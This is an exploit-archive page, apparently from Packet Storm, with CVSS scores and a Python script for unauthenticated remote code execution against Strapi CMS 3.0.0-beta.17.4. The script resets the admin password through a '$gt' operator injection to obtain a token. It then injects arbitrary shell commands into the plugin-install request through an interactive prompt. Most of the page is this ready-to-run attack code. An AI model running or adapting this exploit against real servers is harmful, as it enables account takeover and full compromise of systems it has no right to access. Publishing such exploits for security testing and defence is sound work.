Lucene search

K
packetstormMusyoka IanPACKETSTORM:163950
HistoryAug 30, 2021 - 12:00 a.m.

Strapi CMS 3.0.0-beta.17.4 Remote Code Execution

2021-08-3000:00:00
Musyoka Ian
packetstormsecurity.com
246

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

`# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 2021-08-30  
# Exploit Author: Musyoka Ian  
# Vendor Homepage: https://strapi.io/  
# Software Link: https://strapi.io/  
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower  
# Tested on: Ubuntu 20.04  
# CVE : CVE-2019-18818, CVE-2019-19609  
  
#!/usr/bin/env python3  
  
import requests  
import json  
from cmd import Cmd  
import sys  
  
if len(sys.argv) != 2:  
print("[-] Wrong number of arguments provided")  
print("[*] Usage: python3 exploit.py <URL>\n")  
sys.exit()  
  
  
class Terminal(Cmd):  
prompt = "$> "  
def default(self, args):  
code_exec(args)  
  
def check_version():  
global url  
print("[+] Checking Strapi CMS Version running")  
version = requests.get(f"{url}/admin/init").text  
version = json.loads(version)  
version = version["data"]["strapiVersion"]  
if version == "3.0.0-beta.17.4":  
print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")  
else:  
print("[-] Version mismatch trying the exploit anyway")  
  
  
def password_reset():  
global url, jwt  
session = requests.session()  
params = {"code" : {"$gt":0},  
"password" : "SuperStrongPassword1",  
"passwordConfirmation" : "SuperStrongPassword1"  
}  
output = session.post(f"{url}/admin/auth/reset-password", json = params).text  
response = json.loads(output)  
jwt = response["jwt"]  
username = response["user"]["username"]  
email = response["user"]["email"]  
  
if "jwt" not in output:  
print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")  
sys.exit(1)  
else:  
print(f"[+] Password reset was successfully\n[+] Your email is: {email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+] Your authenticated JSON Web Token: {jwt}\n\n")  
def code_exec(cmd):  
global jwt, url  
print("[+] Triggering Remote code executin\n[*] Rember this is a blind RCE don't expect to see output")  
headers = {"Authorization" : f"Bearer {jwt}"}  
data = {"plugin" : f"documentation && $({cmd})",  
"port" : "1337"}  
out = requests.post(f"{url}/admin/plugins/install", json = data, headers = headers)  
print(out.text)  
  
if __name__ == ("__main__"):  
url = sys.argv[1]  
if url.endswith("/"):  
url = url[:-1]  
check_version()  
password_reset()  
terminal = Terminal()  
terminal.cmdloop()  
  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C